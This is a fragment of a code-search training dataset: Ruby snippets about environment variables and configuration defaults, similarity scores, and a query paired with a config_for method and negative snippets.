"def unset_bundler_env_vars\n %w[RUBYOPT BUNDLE_PATH BUNDLE_BIN_PATH BUNDLE_GEMFILE].each do |key|\n set_environment_variable(key, nil)\n end\n end",
"def load_environment!(opts=nil)\n env_path = File.join(root_path, 'sc-config')\n env_path = File.join(root_path, 'sc-config.rb') if !File.exists?(env_path)\n \n @environment = {}\n if File.exists?(env_path)\n f = File.read(env_path)\n eval(f) # execute the config file as if it belongs.\n end\n\n # Override any all options with load_opts\n if build_numbers = @load_opts[:build_numbers]\n @load_opts.delete(:build_numbers)\n build_numbers.each do | bundle_name, build_number |\n env = @environment[bundle_name.to_sym] ||= {}\n env[:build_number] = build_number\n end\n end\n \n (@environment[:all] ||= {}).merge!(@load_opts)\n\n end",
"def initialize(default_settins_path = DEFAULT_SETTINGS_PATH, overriden_settings_path = OVERRIDEN_SETTINGS_PATH, enabled_properties_to_override = [\"debug\", \"show_debug_events\"])\n @enabled_properties = enabled_properties_to_override\n @env_properties = ConfigParser.new()\n files = [default_settins_path]\n files << overriden_settings_path if File.exist? overriden_settings_path\n @file_properties = ConfigParser.new(files)\n # define dynamic properties\n @file_properties.override_value(\"project_dir\", File.expand_path(\".\"))\n end",
"def ensure_env(*vars)\n unless env_set?(*vars)\n fail_task(\"Please set env: #{vars.join(' ')}\")\n end\n end",
"def environment=(env)\n self.config[:environment] = env.to_sym\n end",
"def set_defaults\n self.help ||= ENV['help_text']\n self.help_url ||= ENV['help_url']\n self.created_at ||= DateTime.current\n end",
"def clear_system_defaults\n @region = nil if @region == Rudy::DEFAULT_REGION\n @zone = nil if @zone == Rudy::DEFAULT_ZONE\n @environment = nil if @environment == Rudy::DEFAULT_ENVIRONMENT\n @role = nil if @role == Rudy::DEFAULT_ROLE\n @localhost = nil if @localhost == (Rudy.sysinfo.hostname || 'localhost')\n @auto = nil if @auto == false\n end",
"def patch_user_env_variables(vars)\n Application.run_in_application_lock(self) do\n op_group = PendingAppOpGroup.new(op_type: :patch_user_env_vars, args: {\"user_env_vars\" => vars}, user_agent: self.user_agent)\n self.pending_op_groups.push op_group\n result_io = ResultIO.new\n self.run_jobs(result_io)\n result_io\n end\n end",
"def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end",
"def load_env_variables(project)\r\n @project = project\r\n puts(\"project = #{project}\")\r\n\r\n if project.nil? then\r\n raise \"#{msg_prefix} > No project defined.\\n\"\\\r\n \"Call SET PROJECT=prj, replacing prj with your project.\"\r\n elsif !File.exist?(File.join(SAF::PROJECTS, project)) then\r\n raise \"#{msg_prefix} > Project not found: #{project}.\"\r\n end\r\n\r\n load_yml_config(project)\r\n\r\n @enable_remote_logging = load_boolean(\"ENABLE_REMOTE_LOGGING\", true)\r\n @logstash_host = load_var(\"LOGSTASH_HOST\", \"showinpoc01.fbfs.com\")\r\n @logstash_port = load_var(\"LOGSTASH_PORT\", 5514).to_i\r\n\r\n @aut_host = load_var(\"HOST\")\r\n @test_slave_host = load_var('REMOTE_HOST', 'showinpoc01.fbfs.com')\r\n @test_slave_port = load_var('REMOTE_PORT', 4444).to_i\r\n\r\n @in_browser = load_boolean(\"IN_BROWSER\", true)\r\n\r\n @browser = load_var('BROWSER', 'ie')\r\n\r\n @log_level = load_var(\"LOG_LEVEL\", \"Logger::INFO\")\r\n\r\n @screenshots = load_boolean(\"TAKE_SCREEN_SHOT\", true) # Was ist das?\r\n @screenshots_on_fail = load_boolean(\"TAKE_SCREEN_SHOT_ON_FAIL\", true)\r\n @screenshots_on_warning = load_boolean(\"TAKE_SCREEN_SHOT_ON_WARNING\",\r\n true)\r\n\r\n @yml_config.delete(\"project\")\r\n\r\n unless @yml_config.empty? then\r\n # TODO: Error class\r\n raise \"#{msg_prefix} > Unknown keys in \"\\\r\n \"#{project}'s #{SAF::PROJECT_ENV_YAML}:\\n\"\\\r\n \" #{@yml_config.keys.join(', ')}\"\r\n end\r\n end",
"def environment\n return @vars unless @vars.nil?\n\n # If not set, Try to find them...\n glob_path = File.join(@deployment_home, @settings.env_file_glob_path)\n regexp_find = glob_path.gsub(/\\*/, '(.*)')\n Dir[glob_path].each do | file_name |\n # Get the environment name from the file part of the glob path:\n # e.g. given ./environments/ci_mgt/kb8or.yaml\n # get ci_mgt from ./environments/*/kb8or.yaml\n /#{regexp_find}/.match(file_name)\n env_name = $1\n if env_name == @env_name\n debug \"env=#{env_name}\"\n # Ensure we set the defaults as vars BEFORE we add environment specifics:\n @vars = @settings.defaults\n env_vars = Context.resolve_env_file(file_name)\n @vars = @vars.merge(env_vars)\n @vars = @vars.merge(@overridden_vars)\n @vars['env'] = env_name\n @environment_file = file_name\n break\n end\n end\n # Now finaly, update the settings now we know the environment!\n unless @vars\n @vars = {}\n end\n @settings = @settings.new(@vars)\n update_k8context\n debug \"vars=#{vars}\"\n @vars\n end",
"def unset_bundler_env_vars\n empty_env = with_environment { with_unbundled_env { ENV.to_h } }\n aruba_env = aruba.environment.to_h\n (aruba_env.keys - empty_env.keys).each do |key|\n delete_environment_variable key\n end\n empty_env.each do |k, v|\n set_environment_variable k, v\n end\n end",
"def initialize(env, *args)\n @env = env\n @env = [@env] if @env.is_a? String\n @override_envs = args\n @override_envs ||= []\n end",
"def test_override\n write_var(:gear, 'DEFAULT_LABEL', 'bogus')\n\n OpenShift::Runtime::Utils::Environ.for_gear(File.join('/tmp', @uuid)).tap do |env|\n assert_equal 'bogus', env['DEFAULT_LABEL']\n end\n\n write_var(:cart, 'DEFAULT_LABEL', 'VIP')\n\n OpenShift::Runtime::Utils::Environ.for_gear(File.join('/tmp', @uuid)).tap do |env|\n assert_equal 'VIP', env['DEFAULT_LABEL']\n end\n end",
"def [](var)\n raise ArgumentError, \"Environment variable '#{var}' (#{description(var) || 'optional'}) not configured in EnvSettings class. It must be added to 'config/env_settings.yml' to be tracked. Called from #{caller[0].gsub(/#{Pathname(__FILE__).parent.parent}\\/(.*):in.*/, '\\1')}\" if (options[\"enabled\"] && !required_vars.include?(var) && !optional_vars.include?(var))\n ENV[var] || optional_default(var)\n end",
"def initialize_from_env\n conf_prefix = self.env_variable_prefix.upcase\n\n ENV.keys.reject { |key|\n key !~ /^#{conf_prefix}/ # Ignore everything that doesn't match the prefix\n }.each { |key|\n variable = key[conf_prefix.size..-1].downcase\n\n self.store(variable, ENV[key])\n }\n\n after_initialize\n dump\n end",
"def extend_env_vars(from, to)\n env_to_hash(from || []).merge(env_to_hash(to || [])).map { |k,v| [k.to_s, v.to_s].join('=') }\n end",
"def env_or_config(variable, default=(no_default_set=true; nil))\n # Make sure the configured configuration is loaded, if possible\n init\n\n # Environment variables for known options override environment specific\n # options, too\n env_var = var_from_env(variable, default)\n if env_var != default\n return env_var\n end\n\n if self.has_env?(variable)\n return self.env(variable)\n elsif self.has_config?(variable)\n return self.config(variable)\n else\n if no_default_set == true\n raise \"Unknown environment or configuration variable '(#{@env}.)#{variable}' and no default given\"\n end\n return default\n end\n end",
"def override_defaults_based_on_config(config)\n config ||= {}\n config['commands'] ||= {}\n\n override_default(flags,config)\n override_default(switches,config)\n\n commands.each do |command_name,command|\n command_config = config['commands'][command_name] || {}\n\n override_default(command.flags,command_config)\n override_default(command.switches,command_config)\n end\n end",
"def ansible_default_vars\n ext_management_system.ansible_default_vars.merge(\n 'endpoint' => try(:ems_ref) || try(:uid_ems)\n )\n end",
"def populate_defaults(config)\n new_config = DEFAULT_CEEDLING_CONFIG.deep_clone\n new_config.deep_merge!(config)\n config.replace(new_config)\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST )\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_PREPROCESSORS ) if (config[:project][:use_test_preprocessor])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_DEPENDENCIES ) if (config[:project][:use_deep_dependencies])\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE ) if (config[:project][:release_build])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_ASSEMBLER ) if (config[:project][:release_build] and config[:release_build][:use_assembly])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_DEPENDENCIES ) if (config[:project][:release_build] and config[:project][:use_deep_dependencies])\n end",
"def update!\n @defaults.each do |key, value|\n instance_variable_set(key, value) unless instance_variable_defined?(key)\n end\n end",
"def env_config; end",
"def env_config; end",
"def env_config; end",
"def env_config; end",
"def test_env!\n set_env('VALUE', 'value')\n assert_equal(Config.env!('VALUE'), 'value')\n end",
"def config_file_defaults\n Chef::Config[:knife].save(true) # this is like \"dup\" to a (real) Hash, and includes default values (and user set values)\n end",
"def env(key, value)\n @environment_variables[key] = value \n end",
"def launcher_env_options(opts)\n if getenv(\"AUTH_TYPE\") == \"RANDOM\"\n ## each day we want to use different auth type ignoring weekends\n time = Time.now\n day_of_year = time.yday\n passed_weeks_of_year = time.strftime('%W').to_i - 1\n opts[:auth_type] = ALTERNATING_AUTH[\n (day_of_year - 2 * passed_weeks_of_year) % ALTERNATING_AUTH.size\n ]\n elsif getenv(\"AUTH_TYPE\")\n opts[:auth_type] = getenv(\"AUTH_TYPE\")\n end\n\n # workaround https://issues.jenkins-ci.org/browse/JENKINS-30719\n # that means to remove extra `\\` chars\n ENV['IMAGE_PRE'] = ENV['IMAGE_PRE'].gsub(/\\\\\\${/,'${') if ENV['IMAGE_PRE']\n\n keys = [:crt_path, :deployment_type,\n :hosts_spec, :auth_type,\n :ssh_key, :ssh_user,\n :app_domain, :host_domain,\n :rhel_base_repo,\n :dns, :set_hostnames,\n :use_rpm_playbook,\n :use_nfs_storage,\n :image_pre,\n :puddle_repo,\n :etcd_num,\n :pre_ansible,\n :ansible_url,\n :customized_ansible_conf,\n :kerberos_docker_base_image,\n :kerberos_kdc, :kerberos_keytab_url,\n :kerberos_docker_base_image,\n :kerberos_admin_server]\n\n keys.each do |key|\n val = getenv(key.to_s.upcase)\n opts[key] = val if val\n end\n\n opts[:use_rpm_playbook] = false unless to_bool(opts[:use_rpm_playbook])\n opts[:use_nfs_storage] = false unless to_bool(opts[:use_nfs_storage])\n end",
"def with_custom_env_variables(&block)\n saved_env = {}\n begin\n Git::Lib::ENV_VARIABLE_NAMES.each { |k| saved_env[k] = ENV[k] }\n return block.call\n ensure\n Git::Lib::ENV_VARIABLE_NAMES.each { |k| ENV[k] = saved_env[k] }\n end\n end",
"def clean_env_vars\n envs = %w(\n REPORT_SERVICE_SELF_URL REPORT_SERVICE_URL REPORT_SERVICE_TOKEN\n )\n envs.each { |e| ENV.delete(e) }\nend",
"def tier_environment_variable_overrides(lower_config = {})\n tcfg_env_vars = ENV.keys.select { |ev| ev =~ /^#{tcfg_env_var_prefix}/ }\n tcfg_env = ENV.to_hash.slice(*tcfg_env_vars)\n tcfg_env.each_pair do |full_var_name, value|\n var_chain = full_var_name.sub(/^#{tcfg_env_var_prefix}/, '').split('-')\n next if var_chain.first.casecmp('ENVIRONMENT').zero?\n parent_of_config_to_modify = lower_config\n var_chain[0...-1].each do |parent_key|\n unless parent_of_config_to_modify.respond_to?(:key?) &&\n parent_of_config_to_modify.key?(parent_key)\n raise BadParentInDeepOverrideError,\n \"No such parent '#{parent_key}' for deep override '#{full_var_name}'\"\n end\n parent_of_config_to_modify = parent_of_config_to_modify[parent_key]\n end\n unless parent_of_config_to_modify.respond_to?(:key?) &&\n parent_of_config_to_modify.key?(var_chain.last)\n raise NoSuchConfigurationKeyError,\n \"No such configuration for '#{var_chain.last}' for override var '#{full_var_name}'\"\n end\n parent_of_config_to_modify[var_chain.last] = value\n end\n end",
"def merge_custom_defaults!\n dotfile = File.join(ENV[\"HOME\"], \".adrc\")\n if File.readable?(dotfile)\n load dotfile\n merge_options!(self.class.defaults)\n end\n rescue => e\n $stderr.puts \"Could not load #{dotfile}: #{e}\"\n end",
"def bind_environment_variable(env_variable_name, value)\n return if value.nil? || value.empty?\n ENV[env_variable_name] = value\n end",
"def bind_environment_variable(env_variable_name, value)\n return if value.nil? || value.empty?\n ENV[env_variable_name] = value\n end",
"def default_options\n if Object.const_defined?('Rails')\n {\n :file => Rails.root.join('config', 'config.yml'),\n :reload => Rails.env.development?,\n :env => Rails.env\n }\n else\n {\n :file => File.expand_path(\"config.yml\"),\n :reload => false,\n :env => \"development\"\n }\n end\n end",
"def puppet_default_settings\n Puppet.settings.initialize_app_defaults(\n {\n :logdir => '/dev/null',\n :confdir => '/dev/null',\n :vardir => '/dev/null',\n :rundir => '/dev/null',\n :hiera_config => '/dev/null',\n }\n )\n end",
"def set_defaults\n # IRC Logging\n self.irc_log_file = ENV['IRC_LOG_FILE'] || STDOUT\n self.irc_log_rotation = ENV['IRC_LOG_ROTATION'] || 'weekly'\n self.irc_log_level = ENV['IRC_LOG_LEVEL'] || :INFO\n self.irc_adapter = ENV['IRC_ADAPTER'] || 'spunk'\n\n # IRC Login\n self.username = ENV['IRC_USERNAME'] || 'bender'\n self.fullname = ENV['IRC_FULLNAME'] || 'Bender'\n self.nickname = ENV['IRC_NICKNAME'] || 'bender'\n self.irc_server = ENV['IRC_SERVER'] || 'localhost'\n self.irc_port = ENV['IRC_PORT'] || 6667\n self.irc_token = ENV['IRC_TOKEN'] || nil\n self.nickserv_password = ENV['NICKSERV_PASSWORD'] || nil\n\n # HTTP\n self.disable_http = ENV['DISABLE_HTTP'] || false\n self.http_log_file = ENV['HTTP_LOG_FILE'] || '!BENDER_LOGGER'\n self.http_log_rotation = ENV['HTTP_LOG_ROTATION'] || 'weekly'\n self.http_log_level = ENV['HTTP_LOG_LEVEL'] || :INFO\n self.http_port = ENV['PORT'] || 9091\n self.http_max_clients = ENV['HTTP_MAX_CLIENTS'] || 4\n self.http_listen_address = ENV['HTTP_MAX_CLIENTS'] || '0.0.0.0'\n self.http_auth_token = ENV['HTTP_AUTH_TOKEN'] || nil\n\n self.pid_file = ENV['PID_FILE'] || './bender.pid'\n\n self.irc_rooms = ENV['IRC_ROOMS'] ? ENV['IRC_ROOMS'].split(',') : []\n self.irc_accept_invites = ENV['IRC_ACCEPT_INVITES'] ? ENV['IRC_ACCEPT_INVITES'].to_bool : true\n self.irc_use_ssl = ENV['IRC_USE_SSL'] ? ENV['IRC_USE_SSL'].to_bool : false\n\n self.log = MonoLogger.new(self.irc_log_file, self.irc_log_rotation)\n self.log.level = self.irc_log_level\n end",
"def initialize( location = 'stage', env_file = File.expand_path(\"#{__FILE__}/../../config/stage.sh\"))\n @location = location\n @env_file = env_file\n envfile_hash = process_env_file( env_file )\n #ENV explicit settings override values found in a locations config file\n @data = Hash[ SQA_ECOMM_SERVER_URL: ENV.fetch( 'SQA_ECOMM_SERVER_URL', envfile_hash['SQA_ECOMM_SERVER_URL'] ),\n SQA_ECOMM_API_SERVER_URL: ENV.fetch( 'SQA_ECOMM_API_SERVER_URL', envfile_hash['SQA_ECOMM_API_SERVER_URL'] ),\n SQA_ECOMM_DB_SERVER: ENV.fetch( 'SQA_ECOMM_DB_SERVER', envfile_hash['SQA_ECOMM_DB_SERVER'] ),\n SQA_ECOMM_DB: ENV.fetch( 'SQA_ECOMM_DB', envfile_hash['SQA_ECOMM_DB'] ),\n SQA_ECOMM_DB_UPDATE_USER: ENV.fetch( 'SQA_ECOMM_DB_UPDATE_USER', envfile_hash['SQA_ECOMM_DB_UPDATE_USER'] ),\n SQA_ECOMM_DB_UPDATE_PW: ENV.fetch( 'SQA_ECOMM_DB_UPDATE_PW', envfile_hash['SQA_ECOMM_DB_UPDATE_PW'] ),\n SQA_ECOMM_DB_READONLY_USER: ENV.fetch( 'SQA_ECOMM_DB_READONLY_USER', envfile_hash['SQA_ECOMM_DB_READONLY_USER'] ),\n SQA_ECOMM_DB_READONLY_PW: ENV.fetch( 'SQA_ECOMM_DB_READONLY_PW', envfile_hash['SQA_ECOMM_DB_READONLY_PW'] ),\n SQA_ORACLE_DB_SERVER: ENV.fetch( 'SQA_ORACLE_DB_SERVER', envfile_hash['SQA_ORACLE_DB_SERVER'] ),\n SQA_ORACLE_DB_UPDATE_USER: ENV.fetch( 'SQA_ORACLE_DB_UPDATE_USER', envfile_hash['SQA_ORACLE_DB_UPDATE_USER'] ),\n SQA_ORACLE_DB_UPDATE_PW: ENV.fetch( 'SQA_ORACLE_DB_UPDATE_PW', envfile_hash['SQA_ORACLE_DB_UPDATE_PW'] ),\n SQA_ORACLE_DB_READONLY_USER: ENV.fetch( 'SQA_ORACLE_DB_READONLY_USER', envfile_hash['SQA_ORACLE_DB_READONLY_USER'] ),\n SQA_ORACLE_DB_READONLY_PW: ENV.fetch( 'SQA_ORACLE_DB_READONLY_PW', envfile_hash['SQA_ORACLE_DB_READONLY_PW'] ),\n SQA_HJ_DB_SERVER: ENV.fetch( 'SQA_HJ_DB_SERVER', envfile_hash['SQA_HJ_DB_SERVER'] ),\n SQA_HJ_DB: ENV.fetch( 'SQA_HJ_DB', envfile_hash['SQA_HJ_DB'] ),\n SQA_HJ_DB_UPDATE_USER: ENV.fetch( 'SQA_HJ_DB_UPDATE_USER', envfile_hash['SQA_HJ_DB_UPDATE_USER'] ),\n SQA_HJ_DB_UPDATE_PW: ENV.fetch( 'SQA_HJ_DB_UPDATE_PW', envfile_hash['SQA_HJ_DB_UPDATE_PW'] ),\n SQA_HJ_DB_READONLY_USER: ENV.fetch( 'SQA_HJ_DB_READONLY_USER', envfile_hash['SQA_HJ_DB_READONLY_USER'] ),\n SQA_HJ_DB_READONLY_PW: ENV.fetch( 'SQA_HJ_DB_READONLY_PW', envfile_hash['SQA_HJ_DB_READONLY_PW'] ),\n SQA_RUDI_SERVER: ENV.fetch( 'SQA_RUDI_SERVER', envfile_hash['SQA_RUDI_SERVER'] ),\n SQA_RUDI_VERSION: ENV.fetch( 'SQA_RUDI_VERSION', envfile_hash['SQA_RUDI_VERSION'] ),\n SQA_UNIBLAB_SERVER: ENV.fetch( 'SQA_UNIBLAB_SERVER', envfile_hash['SQA_UNIBLAB_SERVER'] ),\n SQA_UNIBLAB_VERSION: ENV.fetch( 'SQA_UNIBLAB_VERSION', envfile_hash['SQA_UNIBLAB_VERSION'] ) ]\n end",
"def reset_to_defaults\n @config_stack = [ EnvironmentSource.new, DefaultSource.new ]\n reset_cache\n end",
"def env(variable=false, default=(no_default_set=true; nil))\n # Make sure the configured configuration is loaded, if possible\n init\n\n if not variable\n return self.config(@env)\n end\n\n # Environment variables for known options override environment specific\n # options, too\n env_var = var_from_env(variable, default)\n if env_var != default\n return env_var\n end\n\n result = self.config(\"#{@env}.#{variable}\", default)\n\n if no_default_set == true and result.nil?\n raise \"Unknown environment variable '#{@env}.#{variable}' and no default given\"\n end\n\n return result\n\n end",
"def private_env_vars\n {\n 'DISCONTINUE_API' => \"http://#{ENV['MACHINE_IP']}:8080\",\n 'AWS_REGION' => build.build_config.aws_region,\n 'S3_BUCKET' => build.build_config.aws_cache_bucket,\n 'AWS_ACCESS_KEY_ID' => build.build_config.aws_access_key,\n 'AWS_SECRET_ACCESS_KEY' => build.build_config.aws_access_secret,\n }\n end",
"def set_base_url\n $base_url = (ENV['base_url'].nil? || ENV['base_url'].empty?) ? CONFIG['default_base_url'] : ENV['base_url']\nend",
"def args_env_vars\r\n puts \"SMS Order Notifier for Blomming, release: 1 February 2014, by: [email protected]\"\r\n puts \"CTRL+C to stop\"\r\n\r\n # get necessary environment variables\r\n @username = ENV['SMSNOTIFIER_SKEBBY_USERNAME']\r\n @password = ENV['SMSNOTIFIER_SKEBBY_PASSWORD'] \r\n @seller_cell_number = ENV['SMSNOTIFIER_SELLER_PHONENUM']\r\n\r\n if @username.nil? || @password.nil? || @seller_cell_number.nil?\r\n puts \"please set environment variables:\"\r\n puts \"export SMSNOTIFIER_SKEBBY_USERNAME=your_skebby_username\"\r\n puts \"export SMSNOTIFIER_SKEBBY_PASSWORD=your_skebby_password\"\r\n puts \"export SMSNOTIFIER_SELLER_PHONENUM=seller_cell_number as: <country_prefix><number> by example: 391234567890\"\r\n exit 1\r\n end\r\n\r\n # get Blomming YAML configuration filename\r\n if ARGV[0].nil?\r\n puts \" usage: #{$0} <blomming_config_file.yml>\" \r\n puts \"example: ruby #{$0} $CONFIG\"\r\n exit 2\r\n end\r\n\r\n blomming_config_file = ARGV[0]\r\nend",
"def set_vars(vars_dictionary)\n command = <<~HEREDOC\n echo \"setting Environment Variables\"\n sources ~/.bashec\n HEREDOC\n\n vars_dictionary.each do |key, value|\n command = <<~HEREDOC\n if [ -z \"#{key}\"]; then\n echo \"export#{key}=#{value}\" >> ~/.bashrc\n fi\n HEREDOC\n end\n\n return command\nend",
"def unset_bundler_env_vars\n %w(RUBYOPT BUNDLE_PATH BUNDLE_BIN_PATH BUNDLE_GEMFILE).each do |key|\n delete_environment_variable(key)\n end\n end",
"def env_config\n @env_config ||= {}\n end"
] | [
"0.73390996",
"0.7317774",
"0.72905385",
"0.72395974",
"0.71362275",
"0.6962681",
"0.6847984",
"0.68433154",
"0.68208647",
"0.681351",
"0.6758425",
"0.6666344",
"0.6579933",
"0.6579933",
"0.6533237",
"0.65212125",
"0.6495378",
"0.643742",
"0.6423049",
"0.6419716",
"0.63936406",
"0.63822514",
"0.638042",
"0.6364309",
"0.6346025",
"0.6334704",
"0.6308244",
"0.6274545",
"0.6237374",
"0.62345207",
"0.6212055",
"0.6186327",
"0.6180961",
"0.6176839",
"0.61659086",
"0.6144444",
"0.612459",
"0.61213183",
"0.6101564",
"0.61009604",
"0.60849226",
"0.60778135",
"0.6068971",
"0.60629404",
"0.60548925",
"0.6049798",
"0.60419333",
"0.60344905",
"0.60327333",
"0.6031501",
"0.6031501",
"0.6000871",
"0.59934",
"0.5980648",
"0.5967961",
"0.5962276",
"0.59524614",
"0.5929382",
"0.5921766",
"0.5906769",
"0.58859247",
"0.5874575",
"0.58737755",
"0.58635825",
"0.5863111",
"0.5861565",
"0.58596337",
"0.585569",
"0.5852717",
"0.5847543",
"0.5845403",
"0.58446926",
"0.58436847",
"0.58367366",
"0.5834919",
"0.5830768",
"0.5830768",
"0.5830768",
"0.5830768",
"0.5826687",
"0.5824931",
"0.5821943",
"0.5816573",
"0.58084875",
"0.5806559",
"0.5804984",
"0.579965",
"0.57973033",
"0.57973033",
"0.57963955",
"0.5795479",
"0.5770135",
"0.5765822",
"0.57626724",
"0.5752232",
"0.57450813",
"0.5733623",
"0.57228965",
"0.57226706",
"0.5718858",
"0.57163846"
] | 0.0 | -1 |
Returns a configuration line/stanza for the specified key and value. The returned line should include linefeed `\\n` if not empty. The default implementations returns "=\\n". | def config_for(key, value)
"#{key}=#{value && value}\n"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def first_line(value)\n config_value = AppConfig.config[value]\n if config_value.kind_of? Mash\n config_value = config_value.to_hash\n end\n str = [config_value.inspect].flatten.first.split(\"\\n\").first\n if str.length > VALUE_LENGTH\n str = str[0..(VALUE_LENGTH - 4)] + '...'\n end\n str\n end",
"def to_cookiestxt_line(linefeed = \"\\n\")\n [\n @domain,\n @for_domain ? True : False,\n @path,\n @secure ? True : False,\n @expires.to_i.to_s,\n @name,\n @value\n ].join(\"\\t\") << linefeed\n end",
"def write_basic_line(io, line_key, line_value, validators)\n return if !line_value || line_value.empty?\n line_value.strip!\n valid = validate_line_value(line_value, validators)\n if valid || !@raise_on_invalid_data\n io.puts \"#{line_key}: #{line_value}\"\n elsif validators && !validators.empty? && @raise_on_invalid_data\n raise InvalidDataError, \"Invalid value: `#{line_value}` given for key `#{line_key}`\"\n end\n end",
"def optional_newline\n \"\\n\"\n end",
"def formatted_value_string(value)\n return value unless value.to_s.include?(\"\\n\") || value.to_s.include?(\"\\302\")\n\n # replaces all of \\n with a break line, but make sure it is escaped before marking as safe\n value = ERB::Util.html_escape(value)\n value.gsub!(\"\\n\", '<br>')\n value.html_safe # rubocop:disable Rails/OutputSafety\n end",
"def get_key_val_override(line)\n\t\toverride_in_line = nil\n\t\tunless line.include?(\"=\")\n\t\t#not a key=value type of line.\n\t\t\treturn nil\n\t\tend\n\t\t\n\t\tif line.index(\"=\") == 0\n\t\t#= is the first character. not valid.\n\t\t\traise 'Invalid config file at line: ' << line\n\t\tend\n\t\t\n\t\tsplit_index = line.index(\"=\")\n\t\t\n\t\t#get key and value based on position of =\n\t\tkey = line[0..split_index - 1]\n\t\tvalue = line[split_index + 1..line.length]\n\t\tkey.strip!\n\t\tvalue.strip!\n\t\t\n\t\t#determine if key has an override.\n\t\tif key.include?(OVERRIDE_START) and key.include?(OVERRIDE_END)\n\t\t\toverride_start_index = key.index(OVERRIDE_START)\n\t\t\toverride_end_index = key.index(OVERRIDE_END)\n\t\t\toverride_in_line = key[override_start_index + 1..override_end_index - 1]\n\t\t\tkey = key[0..override_start_index - 1]\n\t\t\t\n\t\t\tkey.strip!\n\t\t\toverride_in_line.strip!\n\t\t\t\n\t\t\tif key.empty? or override_in_line.empty?\n\t\t\t#either key is empty or the data within <> is empty\n\t\t\t\traise 'Invalid config file at line: ' << line\n\t\t\tend\n\t\tend\n\t\t\n\t\t#return the tuple with key, value, override data\n\t\t{:key => key, :value => value, :override_in_line => override_in_line}\n\tend",
"def val_for key\n split(\"\\n\").val_for(key)\n end",
"def format(key, value)\n \"#{key}#{key_value_separator}#{format_value(value)}\"\n end",
"def item_value(subsetting, subsetting_value)\n (subsetting || '') + (@key_val_separator || '') + (subsetting_value || '')\n end",
"def config_value_for(key)\n cmd = executable_command config_value_str(key)\n value = `#{cmd}`.strip\n value = nil if value == ''\n value\n end",
"def line_ending=(value)\n @line_ending = value || \"\\r\\n\"\n end",
"def config_for(key, val)\n case val\n when TrueClass, FalseClass then key.to_s.tr('_', '-') if val\n when String, Fixnum then \"#{key.to_s.tr('_', '-')}=#{val}\"\n when Array then val.map { |v| config_for(key, v) }.join(\"\\n\")\n when Hash then config_for(key, val.keys.select { |k| val[k] })\n else raise(Exceptions::ValidationFailed,\n \"Invalid: '#{key}' => '#{val}'\")\n end\n end",
"def default_line_separator\n @def_line_sep ||= infer_line_separator\n end",
"def strip_lines(value)\n value.to_s.gsub(/\\n\\s*/, ' ')\n end",
"def val_for key\n split(\"\\n\").grep(\n key.is_a?(Regexp) ? key : /(^|^[^\\w]*\\s+)#{Regexp.escape(key)}\\b/\n ).map {|l|\n l.sub(/^[^\\w]*\\s+/, '').\n sub(key.is_a?(Regexp) ? key : /^#{Regexp.escape(key)}\\b\\s*[:=]?/, '').\n sub(/[;,]\\s*$/, '').\n strip\n }.first || ''\n end",
"def format_custom_property_value(node)\n value = node.resolved_value.sub(/\\n[ \\t\\r\\f\\n]*\\Z/, ' ')\n if node.style == :compact || node.style == :compressed || !value.include?(\"\\n\")\n # Folding not involving newlines was done in the parser. We can safely\n # fold newlines here because tokens like strings can't contain literal\n # newlines, so we know any adjacent whitespace is tokenized as whitespace.\n return node.resolved_value.gsub(/[ \\t\\r\\f]*\\n[ \\t\\r\\f\\n]*/, ' ')\n end\n\n # Find the smallest amount of indentation in the custom property and use\n # that as the base indentation level.\n lines = value.split(\"\\n\")\n indented_lines = lines[1..-1]\n min_indentation = indented_lines.\n map {|line| line[/^[ \\t]*/]}.\n reject {|line| line.empty?}.\n min_by {|line| line.length}\n\n # Limit the base indentation to the same indentation level as the node name\n # so that if *every* line is indented relative to the property name that's\n # preserved.\n if node.name_source_range\n base_indentation = min_indentation[0...node.name_source_range.start_pos.offset - 1]\n end\n\n lines.first + \"\\n\" + indented_lines.join(\"\\n\").gsub(/^#{base_indentation}/, ' ' * @tabs)\n end",
"def convert_linebreaks(value)\n value.gsub(/(?:\\n\\r?|\\r\\n?)/, '<br/>').html_safe\n end",
"def to_rb\n configuration.map { |k,v| \"#{k}(#{v.inspect})\" }.join(\"\\n\")\n end",
"def format_with_quotes(key, value)\n value = remove_open_quotes(value)\n # Remove leading and trailing single quotes so we don't quote twice\n # if this key is flagged to be wrapped or it contains a special character\n # and it's not a full text field, such as About You\n if !value.nil? && !KEYS_TO_EXCLUDE_FROM_QUOTES.include?(key) && (KEYS_TO_WRAP_IN_QUOTES.include?(key) || /(\\[|\\]|\\(|\\)|: )/ === value)\n return \"'#{value.chomp(\"'\").reverse.chomp(\"'\").reverse}'\"\n else\n return value\n end\n end",
"def to_line(record)\n str = \"\"\n str = \"# Puppet Name: #{record[:name]}\\n\" if record[:name]\n if record[:environment] and record[:environment] != :absent and record[:environment] != [:absent]\n record[:environment].each do |env|\n str += env + \"\\n\"\n end\n end\n\n if record[:special]\n str += \"@#{record[:special]} #{record[:command]}\"\n else\n str += join(record)\n end\n str\n end",
"def compiled_string_at(line_no)\n line_str = \"\"\n\n value_arr.each do |num|\n if dash_lines.keys.include?(line_no)\n line_str << dash_or_blank_fill(line_no, num)\n else\n line_str << bars(line_no, num)\n end\n\n line_str << \" \"\n end\n\n line_str\n end",
"def to_s\n \"\\\"#{@key}\\\": #{@value}\"\n end",
"def append_cmd\n sprintf 'echo \"%s%s\" >> %s', key_set_string, @config[:value], @file\n end",
"def line_break\n append '(?:\\n|(?:\\r\\n))'\n end",
